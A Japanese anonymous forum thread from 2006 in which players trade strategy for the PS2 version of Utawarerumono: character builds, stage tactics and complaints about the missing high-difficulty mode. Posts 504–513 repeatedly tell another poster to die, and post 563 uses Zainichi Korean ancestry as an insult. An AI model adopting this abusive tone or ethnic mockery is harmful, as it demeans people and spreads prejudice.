474 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 11:48:00 ID:+rOVLSfD0] >>472 を翻訳。 称号の「うたわれるもの」はラスボスでレベル上げるのが一番良い。 ウィツ攻撃してレベル上げ→コンティニューを繰り返せば楽にLV51まで達する。 まあ俺の場合毎回エルルゥがLV51以上になってしまうんだが
475 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 13:19:51 ID:g/SEWS2/0] ついに称号コンプ達成。疲れたー おまけCGも見られたしもう思い残すことはないな
476 名前:名無しさんだよもん mailto:age [2006/10/29(日) 19:18:03 ID:oDPzAWpT0] PS2版、PC版との比較キャラ感想。 ・【ハクオロ】→攻撃力60 防御力50 術防御力50 ハクオロに限らず、全キャラポイントが増えている、技ポイント振り消滅のため。 高難易度がないため、敵からのダメージがかなり低い(背を向けなければ)ため、 ハクオロさんは防御全振りで囮にするのが一番確実、攻撃に振っても大して意味はない。 加えて、今回はラスボスの強さが一定のためハクオロさんのLVでラスボスパワーうpの心配がない。 能力では「起死回生」が強力で、気力がMAXの時に戦闘不能になれば、一度だけ復活することが可能、 気力を使わずに、盾にすれば戦闘敗北はほとんどありえない。 「戦術指揮」は隣接するキャラの能力をうpさせるスキルでPC版と違い男もうpする。 ・【エルルゥ】→攻撃力50 防御力80 術防御力30 PC版と使い方は変わらず、防御のポイントが増えて防御がやや上げにくくなった。 相変わらずエルルゥ上げは可能、ただし元々難易度が低いのでわざわざやる必要性はない、 アヴカムゥ戦で死ににくくなるくらい。 能力「薬術」で状態異常を直したり味方の能力を上げることが出来る、しかしエルルゥ は回復に回ったほうが良いため、敵に近づく前に能力をうpしたほうが良い、回復する必要 がないときだけ使用。 「道具の心得」などで道具の使用範囲が増えるため、サポートキャラという位置づけは変わらない。 装備品で攻撃術が使用可能になったりするが、エルルゥで攻撃する必要性がない。 アルルゥとの協撃で5マス範囲ほどの味方キャラを状態異常含めて回復することが出来るので、 基本的に戦闘でピンチになることは少ない、気力が減るので連発は無理。
477 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 19:37:49 ID:oDPzAWpT0] ・【アルルゥ】→攻撃力70 防御力30 術防御力50 防御ポイントがDVD版と変わってない?!これはヒドイwww PCと同じく物理防御では最強の壁。 隣接する四方の敵を停止させる「闘志の瞳」、気力により受けるダメージを軽減 することができる「ムアの加護」、毎ターン自分の体力を一定量回復する「自然治癒」 攻撃を受けた時の向きによるダメージ補正を無効する「体毛硬化」など、 防御能力が優秀すぎるので術技以外での戦闘不能はほとんどありえない。 ただ、DVD版よりも防御面が優秀の代わりに攻撃面ではほとんど伸びないため 壁以外に使用するのが難しい、加えて敵があまり狙ってこないので活用もしにくい。 初心者にはありがたいキャラだが、システムを理解している人にとっては微妙という点 ではDVD版と同じ。 協撃は気力が減ってしまうため、自分側の協撃gは使用しないほうが安定する。 ・【オボロ】→攻撃力50 防御力60 術防御力60 DVD版よりも大幅にポイントが増加しているが、技ポイントがないため結果的にはポイント は下がっている、加えて序盤から参戦するので能力も上がりやすい。 使い方はDVD版と同じ、高い移動力と機動力は全キャラ随一なので敵を倒しやすい。 「報復の技」「近接回避」「窮死覚醒」など回避の能力が優秀なため、結果的にDVD版よりも 防御面は大幅強化、例え瀕死になったとしても気力がMAXになる「死中求活」のおかげで 見返りがある。 DVD版よりも強化されていると言えるキャラ、気力は温存して連撃だけで敵を倒していった 方が良い、必殺技を使うまでもなく雑魚は一撃で死んでいく。
478 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 19:48:09 ID:oDPzAWpT0] ・【ドリィ】→攻撃力70 防御力70 術防御力40 ・【グラァ】→攻撃力80 防御力60 術防御力40 DVD版と比べて能力のおかげで欠点が解消され使いやすくなったキャラ。 2人とも回避系の能力を覚えるため、オボロと同じく防御面は強化された。 2人とも攻撃特化して攻撃にだけポイントを振ったほうが活躍する。 「会心の技」の能力でクリティカルヒットが発生するため、攻撃力はキャラの中 でも上位に入る。 最大の利点はドリィ+グラァによる協撃、2人とも対応しているためどちらからでも 発動することが可能なので発生させやすい。 威力も必殺技並みに高く、広範囲を攻撃できるため雑魚戦では活躍する、残った敵を 残りのキャラで止めをさしていくと良いだろう。
479 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 22:50:10 ID:g3NDC97E0] OK 他のキャラもやってくれないか
480 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 23:32:57 ID:oDPzAWpT0] ・【ベナウィ】→攻撃力70 防御力40 術防御力40 DVD版では育てれば要塞と言える最強キャラだったが、PS2版でも相変わらず強い。 技ポイントがないため、最初から集中して育てられるためDVD版よりもさらに協力に なったと言える。 最初から防御&術防御が高いため、しばらくは攻撃に振りまくって上げると良い。 能力も非常に優秀で2マス分攻撃可能、ハクオロさんと同じく「戦術指揮」能力の おかげで隣接するユニットの能力を上げられる、誰かに引っ付いて行動すると良いだろう。 その他にも「弓回避」「護身呼吸法」などの防御能力や「会心の技」でのクリティカルなど 能力面でもまったく穴がない強力キャラ、攻撃も万能なアルルゥと言えるのでアルルゥよりも 戦闘では強力なキャラになるはず。 中でも強力な能力である「明鏡止水」を持っているので気力を消費してもすぐにMAXになるのは 非常に心強い。 欠点と言えるのは協撃がクロウとしか行えないことぐらいである、「明鏡止水」があるので気力は 必殺技に使ってしまっても良いだろう。 「いらない!」と言わずに使えば非常に強力なキャラなので、オボロ同様前半のうちから鍛えれば 味方内でも最強と呼べるほどのキャラに成長するだろう。
481 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 23:42:40 ID:oDPzAWpT0] ・【クロウ】→攻撃力60 防御力40 術防御力50 ベナウィよりも攻撃寄りなキャラである点はPC版と変わらず、DVD版ではベナウィの 影に隠れてパっとしなかったクロウだが、能力追加のおかげでDVD版よりもさらに攻撃的に。 能力はベナウィには劣るが防御面もある程度優秀で気力も回復しやすい。 特質すべきは「烈火の技」、気力が多いほど攻撃力が上昇するので気力MAXの状態で連撃を 繰り返すのが一番良い戦法だろう。 協撃ではクロウとオボロの協撃があるが、範囲が狭いため使いづらいと言わざるおえない。 ゲーム内でも「生まれたての39歳ヒゲ独身」になってしまうかはプレイヤー次第、純粋な味方 キャラでは攻撃面で唯一の土属性なのでそれを利点に考えるのも良いだろう。
482 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 00:19:22 ID:cbpupVht0] ・【カルラ】→攻撃力50 防御力70 術防御力90 PC版、アニメ版と最強の攻撃力で大活躍したカルラだったが、PS2版ではまさか の弱体化、パーティ内で唯一だろう。 相変わらず攻撃が上げやすいのは大きな長所、しかし術防御ポイントが異常に増えて しまっているので術防御を上げるのは余裕があるとき以外では難しいだろう。 一番の痛手は、DVD版だと「敵から攻撃を喰らうと気力が50回復する」という隠し能力 を持っていたのだがPS2版ではカルラの一番の長所であるこの能力がなくなってしまったのだ。 DVD版と違い、PS2版では敵からダメージをわざと受けるという行動は止めたほうが良いだろう。 能力では「ムアの加護」がありがたい、気力により受けるダメージを減らせるので気力MAXを 維持し、苦手な防御面を補うと良い。 これに加えて「烈火の技」も持っているので気力MAX状態で戦うのが基本となるだろう、DVD版の ように気力MAXになったら即必殺技というのはあまり良い戦法ではない。 「明鏡止水」のおかげで協撃を利用しやすいのは利点、トウカとの協撃は参戦メンバー都合上利用しやすい ので狙えるときは狙っておこう、ただし範囲はそれほど広くない。 このように、攻撃面では最強と言えるが防御面で難があり、移動力と行動力がやや低いので敵と戦闘 したら一撃で倒してしまったほうが良い。 仲間になるタイミング上、オボロに差を付けられている可能性が高いので、きちんと育てて上げよう。
483 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 00:30:57 ID:cbpupVht0] ・【トウカ】→攻撃力60 防御力50 術防御力40 DVD版では普通に育てれば最強キャラ、高難易度だとベナウィと並び鉄壁の要塞 と非常に使いやすかったうっかり侍だが、PS2版でもそれは変わらず。 攻撃と防御のバランスがよく、ベナウィよりも攻撃がやや上がりやすい。 能力のバランスも良いが防御能力を中心に覚える、攻撃面では「会心の技」での クリティカルや「明鏡止水」での気力消費予防など必要なものはほぼ揃っている。 基本的には気力MAXを維持したほうが防御能力を生かせるが、「明鏡止水」を 持っているので協撃や必殺技を利用するのも悪くない、敵を倒せるのなら必殺技を 撃っていっても問題ないだろう。 参戦タイミングが遅めなので、他のキャラとの差を埋める(特にオボロ)のが第一目標と言えるが 元から高い能力なので気にするほどではないだろう、即戦力になるはず。 イベントではうっかり侍でも戦闘では大活躍してくれるので、オボロ、ベナウィなどと一緒に 育てれば前線は問題ないだろう。
484 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 00:54:18 ID:cbpupVht0] 訂正→×「明鏡止水」のおかげで協撃を利用しやすいのは利点 ○「明鏡止水」のおかげで必殺技を利用しやすいのは利点
485 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 01:14:58 ID:/lYRh7iy0] 術姉妹wktk
486 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 02:31:15 ID:IWITf7T+0] 乙。 読んだ限りだと、オボロ、ベナ、トウカの三強は変わらず? しかし、キャラの特性を考えたくなるほどの難易度があるかどうかが、一番の疑問だな。
487 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 02:41:59 ID:dbNKnJgF0] 難易度変更有りでPCに逆移植だろう
488 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 02:45:09 ID:cbpupVht0] 高難易度さえあれば、超秀作扱いだったんだけどねぇ・・・もったいなさすぎ。 PS2版のシステムで高難易度3をやりたいぜ。 まぁ、道具コンプすればスペシャルのボス軍団と戦えるEX戦は出来るけど、LV固定だからな
489 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 02:58:17 ID:cbpupVht0] ・【ウルトリィ】→攻撃力80 防御力80 術防御力20 PC版では、役立たず乳姉妹と言われたウルトだが、今回はどうか? ご覧の通り、とにかく攻撃面が上がりにくい難儀なオルヤンクル。 術防御は味方の中でもトップだが、術防御を上げるだけでは意味がない事実。 また、カミュと同じくほぼ全ての能力が術法しかない為、攻撃防御能力を覚えられない のが大きなマイナス要素、平和の使者は戦闘では今ひとつ。 固有能力で隣接する味方の術防御を上げる「カミユイ」は、ラスボス戦で役には立つだろう。 このキャラを強化するには、ひたすら攻撃を上げ「光の術法」で敵を殲滅していくしかない。 ただ、演習などで攻撃を上げまくったウルトは恐ろしいほどの破壊オルヤンクルになる。 光の術法1発で範囲内の雑魚が一撃で戦闘不能になるほどに強化すれば、戦力として申し分ない。 ただ、そこまで育てるのならベナウィやトウカを育てたほうが良いと言えるため、結果的に 微妙・・・・・・・・・・・・・ あらあらうふふと光の術法で敵を滅していく大原さんを育て上げれば勝ち組と言える!
490 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 03:07:01 ID:cbpupVht0] ・【カミュ】→攻撃力70 防御力80 術防御力40 PC版では参戦出来る戦闘が大幅に少なく、終盤で長い間離脱するためうたわれ 最弱キャラと呼ばれていたカミュち。 PS2版でもウルト同様、残念ながらあまり恵まれている能力ではない。 ウルト同様、能力がほぼ術法しかない為、攻撃&防御能力がないのは難点。 ウルトより攻撃は上げやすいのは利点だが、移動力が低いので術法を撃つ暇が なくなることもしばしば、あわれカミュち。 PS2版での最大の利点として演習で好きなだけLV上げ出来るため、トウカよりも 早くユニットとして使用出来るのは嬉しい。 ウルト同様、「闇の術法」で複数の敵を殲滅できるように育て上げれば非常に強力 なキャラとなるが、それまでの道程が長い。 DVD版同様、カミュちを育てるのなら根気よく育てていこう、協撃使用するために アルルゥと一緒に参戦させると良いだろう。
491 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 08:33:30 ID:/lYRh7iy0] 乙。 PS2版は入手BPの大幅減で上げる能力が限られてくるから、役割分担がはっきりするんだよな。 キャラ特化させようとほとんどの敵をオボロにまわしたけど攻撃99/防御60/特防初期値で限界だったし。 >>486 正直微妙。PC版のようにBPが技依存ということが無くなったのが一番大きい。 トウカは技が最初から最高値・難度が上がると初期値が高くなる という利点が消滅したから個人的にはあまり使えないイメージ。 オボロ、ベナウィも役立つとはいえ、前述の通りステータスが あまり上がらないのでそれほど強くなるわけでもない。 あと、PS2版は協撃がかなりの威力を発揮するのにベナはクロウとしか出来ないのがorz 技が少ないドリグラがかなり強くなったように思える。 術でも入手BPは同じなためカミュ、ウルトも普通に使える。 PC版のように一点集中という感じではなく、キャラにバランスが取れたかんじ。
492 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 09:21:24 ID:Qi4pkJLgO] 獲得BPが減ったと言っても、演出を少しやればほとんど変わりないと思う、序盤から参加するオボロはかなり能力高くなるし、ベナウィは単独では相変わらず要塞で強い、協撃は気力が減るから能力を重視するならあまり使わない方が安定すると思う
493 名前:名無しさんだよもん mailto:age [2006/10/30(月) 09:40:35 ID:Qi4pkJLgO] まあ、高難易度があればキャラランクもまた変わるんだろうけどね、単独で強いキャラが優遇されるだろうし。何で高難易度削除したのかなぁ・・・一番もったいないことをどうして
494 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 10:23:24 ID:tVnxSd4A0] スケジュール押して間に合わなかったんだろうと フライトプランがいっぱいいっぱいだったんだべ、多分 さんざん延期したのもこの辺が理由と想像
495 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 10:39:50 ID:Qi4pkJLgO] 高難易度ないためか2周目をやる気力が起こらない人が多くて悲しい限り、エロ無しで高難易度追加で逆移植してほしい・・・ 高難易度ないせいで大幅減点だな、フライトプランは鼻から高難易度作るつもりはない気がする
496 名前:名無しさんだよもん [2006/10/30(月) 14:08:44 ID:PQQCG6T60] 高難易度無いのが悔しいのは分かるが、ここでどれだけ言っても無駄だよ
497 名前:名無しさんだよもん [2006/10/30(月) 14:41:05 ID:Qi4pkJLgO] sage
498 名前:名無しさんだよもん [2006/10/30(月) 16:16:58 ID:rxhdicCI0] 高難度があれば来年まででも待てたという奴挙手ノ
499 名前:名無しさんだよもん [2006/10/30(月) 16:47:33 ID:BDtFl8zyO] 来年のいつだよ
500 名前:名無しさんだよもん [2006/10/30(月) 16:51:49 ID:rxhdicCI0] 年頭辺り?8月からの延期ならそれくらいが妥当でしょ
501 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 17:19:26 ID:wXJOsAhbO] 高難易度ないのかい。今一週目だが二週目からできるようになると信じてたのに
502 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 18:51:54 ID:cbpupVht0] アクアプラスはインタビューで「PCのままでは家庭用PS2ソフトとして出すのは あまりにもアレなので、SRPG製作の大手であるフライトプランさんにお願いしました」 ということらしいのだが、肝心のフライトプランは戦闘はあくまでサブで基本はギャルゲ という風に思ってるのかもしれないね、戦闘だけまともにして「これでマシになったでしょ?」 みたいな。 うたわれはSRPGというよりもアドベンチャー(ギャルゲ&キャラゲ)として期待&評価している人 の方が多いのが残念ながら大部分で多いからな。 SRPGというよりも、ギャルゲとして移植を優先したために、初めからフライトプランは高難易度を 用意するつもりはなかったのかもね、だからスペシャル演習しか用意しなかったと言えるかも。 つまり、このスレの住人や一部の「高難易度で2週目からもやり込みたい」という意見よりも、 「ギャルゲーで満足させて成功させよう」という試みの方が世間的に考えて優先したというか 高難易度まで作らなかったんだろうな
503 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 23:20:49 ID:fdncoFZ30] つーかなにこヌルゲー
504 名前:名無しさんだよもん mailto:sage [2006/10/30(月) 23:49:49 ID:1so5VgDq0] >>498 挙手厨死ね
505 名前:名無しさんだよもん [2006/10/30(月) 23:50:13 ID:PQQCG6T60] >>498 挙手厨死ね
506 名前:名無しさんだよもん [2006/10/30(月) 23:52:17 ID:BDtFl8zyO] >>498 挙手厨死ね
507 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 00:22:55 ID:V1eCzwVl0] >>498 そう、挙手厨死ね
508 名前:名無しさんだよもん [2006/10/31(火) 00:56:00 ID:92zZwFdB0] >>498 挙手厨死ね
509 名前:名無しさんだよもん mailto:age [2006/10/31(火) 02:19:28 ID:BoF3kMXd0] おまいらインカラでも見て落ち着け
510 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 02:27:49 ID:G+BhfLSV0] 挙手厨の498は死ねばいいと思う奴は挙手ノ
511 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 06:52:50 ID:8mODo2RX0] >>510 挙手厨死ね
512 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 08:10:46 ID:92zZwFdB0] >>510 挙手厨死ね
513 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 09:37:35 ID:OxXJ0d/J0] >>498 ,>>510 挙手厨死ね
514 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 11:01:20 ID:IK37B66g0] ID:cbpupVhtはなかなかタイピングが早いよね(*´・ω・)と思う人は挙
515 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 11:16:48 ID:GtiM0Xj40] >>50 7 ドンマイ
516 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 16:17:39 ID:73G2Q0eL0] ここは高難易攻略スレなのでは?
517 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 16:41:40 ID:8mODo2RX0] 実際には攻略スレ
518 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 18:45:44 ID:s3qfZ02v0] 挙手厨死ねスレ
519 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 19:02:08 ID:JaLRUOgD0] そろそろ>>133 がその後どうなったか気にしてもいい頃合とみた
520 名前:名無しさんだよもん mailto:sage [2006/10/31(火) 19:50:07 ID:t9bf/qgC0] とっくに出来てなかった? ちなみに俺も同じ状況になったがカミュでできた カミュはここが初出撃なので同じような人の参考になるかも ・初期配置からカミュへの道を塞がないようにしながら前進 (道を塞ぐと全ての敵がデリに向かうw) ・近くに二体だけ敵が留まっているのでその間にカミュを入れて攻撃を食らう ・運よく一撃ずつしか攻撃を食らわなければ瀕死で生き残る (片方でも連撃食らうと死亡w、4,5回で出来たがかなりの運が必要かもw) ・ゲストユニットの瀕死が死亡後全ての敵がカミュに(ry
521 名前:前スレ134 mailto:sage [2006/11/01(水) 00:38:38 ID:20QiUVoQ0] >519 >520さんの感じでアルルゥを使って抜けてたのですが、 スライムステージでハクオロのLv上げしている途中で飽きて止めました・・・ 今はPS2版のソフトだけ買ってきて、いつ本体を買おうかと眺めてます。
522 名前:名無しさんだよもん mailto:sage [2006/11/01(水) 05:07:49 ID:3IyWC0Jg0] >>521 PS2版やるならうたラジまじオヌヌヌ
523 名前:名無しさんだよもん [2006/11/01(水) 08:51:46 ID:9f8ghwm70] リアルウィツァルネミテアも堕ちたもんだな
524 名前:モロロ粥 mailto:sage [2006/11/01(水) 16:49:57 ID:Tj4omnpv0] 何とか難易度1ながらもすべて称号手に入れましたよー! 最後の戦況報告で称号確認時 やけにロードが遅いと思ったら おめでとうございますで2枚目CGが見れたときは感動しました やっぱエルルゥを初期ステージで時間をかけてしっかり育てることが超重要でした あとオボロをしっかり育てることでベナ倒せました
525 名前:460 mailto:sage [2006/11/01(水) 21:52:58 ID:6IQUQNh10] なぁ、今更気づいたんだが ハクオロより他のキャラのレベルが相当高くないと LvUP回復がなくなってクリアできなくね? ウィツLv80なのにLv99、術防御70のエルルゥが数発しか耐えられねぇ つまり99Lvにした時点でウィツのLvに関係なく回復手段がなくなって死亡確定なキガス
526 名前:名無しさんだよもん mailto:sage [2006/11/01(水) 23:48:42 ID:3mj99SvU0] 「賢大僧正」を取るためにウルトに術法で敵を倒させてるんだけど 戦闘後のユニット撃破数がゼロになってる BPはちゃんと入ってるから単に表示されない仕様なのかな?
527 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 00:16:03 ID:TBE+NJfj0] >>526 確かそういう仕様だったと思う。 BPが入ってるなら問題ないはず。
528 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 01:31:30 ID:uLdJe8wn0] >>526 ステージクリア後の撃破数は通常攻撃で倒したときにカウントされる 最後のとこではちゃんと反映されるから安心汁
529 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 12:34:52 ID:sa2IyhEP0] >>525 >>101 の方法じゃクリアできなかった? これなら回復手段がいつまでも残っているはず。
530 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 21:40:28 ID:dqzquVwq0] ハクオロを育てたらアウトってのはどうして?
531 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 21:59:47 ID:6Yq/U8sV0] >>530 ネタバレになるが、ラスボスはハクオロさんのライバル ハクオロさんは記憶がないので忘れてて、それに怒ったライバルが修行して ハクオロのレベル×2で出てくるんで、あまりレベルを上げない方が良い
532 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 22:18:11 ID:6V75cP440] >>530 ハクオロのレベル×2というふざけたレベルの敵と戦わなきゃいけないから ハクオロと他のメンバーのレベルが同じ程度なら 高難度だと初っ端の範囲攻撃でまとめてあぼーんする事も・・・
533 名前:名無しさんだよもん mailto:sage [2006/11/02(木) 23:00:04 ID:ERgf2w/K0] >>527-528 亀レスだがありがとう 光の術法覚えるとウルトもそこそこ使えるね 初クリアのレギュラーメンバーからカルラ、ドリィをウルト、アルルゥに 変更してみたけど、思ったほど戦力ダウンしなかった また「仮面」あたりで苦労させられるとは思うけど
534 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 00:55:17 ID:61G4c9+M0] どこが亀レスだよ
535 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 02:00:05 ID:kzZiVjGf0] 修行したってか同じ存在(同じLV)が1つになったんだから 1+1=2 でハクオロのLVの倍になるんだろ
536 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 03:37:41 ID:kx0g9vNb0] いやその理屈はおかしい
537 名前:名無しさんだよもん [2006/11/03(金) 07:38:56 ID:yPoIyAFWO] 別におかしくないだろ
538 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 10:57:56 ID:+qUlyTH70] >>529 無理だった、難易度5&ハクオロステMAXだからかなぁw ウィツLv48、エルルゥLv95位だったときはほとんどダメージ受けなかったんだが・・・
539 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 12:12:21 ID:Uyp8HsWcO] >>535 空気嫁
540 名前:名無しさんだよもん [2006/11/03(金) 13:43:28 ID:3r5vE/bo0] お前が空気読め携帯厨w
541 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 15:07:19 ID:GW0DnCLM0] いや>>535 の方が空気読めよ わざわざネタバレ回避しながら説明してるのに、それに突っ込んでどうする
542 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 17:21:54 ID:kbBK+ja50] 高難度スレだから1回以上はクリアしてるだろ。 それに別にネタバレを回避しながら説明してないじゃん。
543 名前:名無しさんだよもん mailto:sage [2006/11/03(金) 17:52:27 ID:3r5vE/bo0] だな、どうせ一回クリアしてシナリオスキップしてるだろうからネタバレを回避する意味がない
544 名前:名無しさんだよもん mailto:sage [2006/11/04(土) 02:59:33 ID:Eg+m2+xM0] 確かに・・・99じゃレベルアップの回復できないのか・・・ 死ぬ前に倒すとか無理なのか? そんなにあげたことないから分からんが。
545 名前:名無しさんだよもん mailto:sage [2006/11/04(土) 13:05:11 ID:PLCGo9a40] カルラトウカオボロの3人を攻撃MAXにしておけばハクオロさえ低レベルなら一発しか食らわないで倒せる
546 名前:うふ〜ん mailto:うふ〜ん [うふ〜ん ID:DELETED] うふ〜ん
547 名前:名無しさんだよもん mailto:sage [2006/11/04(土) 16:07:28 ID:PLCGo9a40] ハクオロ抜きでアヴ・カムゥの攻撃を制限時間まで凌ぐステージで 前傾配置にしてたら敵が動かなくなって一撃も食らわずクリアできた
548 名前:名無しさんだよもん [2006/11/04(土) 21:46:51 ID:VBmpc9ywO] 障害物全部壊してもそれ使ったら余裕でクリアできるよあそこは
549 名前:名無しさんだよもん mailto:sage [2006/11/04(土) 22:36:25 ID:5ocumjGq0] 前傾配置の件kwsk 難易度5で障害物倒しながら逃げ回ってたら最後につかまる('A`)
550 名前:名無しさんだよもん mailto:sage [2006/11/04(土) 23:50:44 ID:5ocumjGq0] 駄目だクリアできん('A`)y-~~ 攻撃偏重の育て方をしてきたから耐えれて一発だもんな・・・ なんとか壁に沿って襲い掛かってくれば逃げ切れそうだが すぐに中央経由で最短ルートを通られるから逃げ切れん なんかいい方法ない? というか前傾配置ってなんじゃらほい
551 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 00:58:45 ID:TRODpJuN0] 難易度3だけど奥に3人手前に4人で門のすぐ後ろに固めたらアヴ・カムゥが狭い所で詰まって動かなくなった 具体的な配置は忘れた
552 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 11:26:54 ID:2CShFUQ50] 普通にやってたらあそこは難なくクリアできるだろ・・・
553 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 12:12:54 ID:wwRlMiz50] 難易度5だとそうも言ってられない
554 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 12:20:55 ID:2CShFUQ50] いや難易度5でもさほど苦労した覚えはないぞ アヴカムゥを二手に分けないようにして上下往復させてたら普通にクリアできるだろ この後の滅びゆく者や仮面ではかなり苦労したが
555 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 12:21:50 ID:2Uhn6bw90] トウカの防御上げとけば特に苦労しなかったなぁ 仮面では増援にハクオロ瞬殺されまくったけど
556 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 16:49:31 ID:lnoTUnod0] 仮面は地獄
557 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 19:50:30 ID:8HxE103w0] 仮面そんなに難しいか?
558 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 20:58:33 ID:Q+PmLfVq0] 近接攻撃しか脳のないやつらばっかりだしな。 あとはライオンとディーさえ何とかできればいける。 個人的にはスオンカス戦が一番めんどくさかった。
559 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 23:07:47 ID:i980TSiD0] 仮面は稼ぎどころでもあるので主力が序盤で死ぬと何回もやり直す。
560 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 23:12:53 ID:v3eviN1B0] 仮面は難度1でも十分にステータス上げとかないときつい(ノーコンテニューの場合だけど) ニウェ戦なんかは離脱者復活&体力全快っていう甘さだけど 仮面は回復無しで、しかも増援の敵からターン始まるからなあ スオンカス戦はハクオロとカルラに攻撃集中するからトウカが割りと自由に動かせるし エルルゥも弓兵に気を遣う必要がなくて結構楽だったような
561 名前:名無しさんだよもん mailto:sage [2006/11/05(日) 23:23:21 ID:7brRzRvb0] スオン戦はカルラを冷遇しているとつらくなるかも。 仮面は、中央の狭くなっているところに陣取るか、奥に引いて陣取るかかな。 俺はいつも中央に陣取っているが。 アヴは、なるべく中央にアヴ4体が集まるようにカミュとかを生贄。 クロウをうまく逃がして右下の窪みに押し込み、その前をトウカとかで塞ぐ。(クロウを育てていないと仮定) 後は、トウカをどかせばアヴはクロウの方へ、トウカでクロウを塞げば上の双子の方へ行くので、上下に揺さぶり時間を稼ぐ。 これでいけると思う。 134氏の受け入りだけどね。
562 名前:名無しさんだよもん [2006/11/06(月) 07:40:26 ID:L2Orslf/O] 受け入り?
563 名前:名無しさんだよもん [2006/11/06(月) 09:32:03 ID:tlCe3GHW0] ワロタw受け入りじゃなくて受け売りだろ( ゚,_ゝ゚)バカジャネーノ もしかして在日朝鮮人のお方ですか?
564 名前:名無しさんだよもん mailto:sage [2006/11/06(月) 11:31:50 ID:BR5BFc7U0] >>561 それだとハラハラ感が楽しめないじゃないかw やっぱりあのステージは全員使って鬼ごっこするのが一番好きw
565 名前:名無しさんだよもん mailto:sage [2006/11/06(月) 16:46:34 ID:e2WpycPP0] オカマステージはあえて壁を壊さず弓兵を遠距離から術で攻撃で倒し オカマは3マス目までしか攻撃できないので 4マス目からハク効果○○術1で遠距離攻撃 30位のダメージだが でのんびりと過ごすといった方法で倒しました 難易度1でやったのでそれ以上の難易だと通用しないかも
566 名前:名無しさんだよもん mailto:sage [2006/11/06(月) 21:19:50 ID:jzq3Pp980] チキン野郎めw 難易度5のスオンカスとニウェステージはほとんど運だったな。 クーヤも一気クーヤ目指してに突っ込んで倒した。スライムで詰まったまま放置してあるけど もう一度初めからやってもここまでいける気しねえ。 134は天才だな。
567 名前:名無しさんだよもん mailto:sage [2006/11/06(月) 23:28:15 ID:vE5qZ+oC0] スライムは、本当に強いキャラがハクオロの他に一人いれば大丈夫じゃないか? ハクオロ、エルルゥ、強キャラ三人を手前に引っ込めば、いけると思うが。
568 名前:名無しさんだよもん mailto:sage [2006/11/06(月) 23:36:14 ID:TlsK498N0] スライム1戦目はスタート位置より後ろにある窪みを使えば ハクオロを安全地帯に押し込んだ状態にすれば ハクオロ&エルルゥの事を気にせず戦闘員2人で蓋できる (他のヤツは見捨てる事になるが) 2戦目は弓と魔法を一気に潰せば問題ない
569 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 07:40:15 ID:mE1E5GQb0] 高難易2クリア後、2周目に高難易1プレイ シケリペチム軍侵攻阻止でいきなりベナウィとクロウの技が最大だったんだが、そんなもんなんですか? 既出だったらすまん
570 名前:569 mailto:sage [2006/11/07(火) 07:58:02 ID:mE1E5GQb0] 最大だったのはキャラ選択画面のとこだけで、 ステージ始まったら普通に2に戻ってた。なんだったんだろう 駄レス失礼
571 名前:名無しさんだよもん [2006/11/07(火) 08:51:38 ID:nN0yFhZS0] >>561 受け入りバロスw日本語勉強してからゲームしろ。 >>565 難易度1なら態々そんなことしなくても弓兵も倒せるはず。 >>566 スライムの攻略法はこのスレの上にあったと思う その通りにやればおかしな育て方してないかぎりはクリア可能。 >>570 よくあるバグです
572 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 08:53:46 ID:nN0yFhZS0] sage忘れスマソ、乙。
573 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 09:09:59 ID:QHas2+1U0] >>570 バグじゃなくて仕様
574 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 09:58:01 ID:nN0yFhZS0] は?
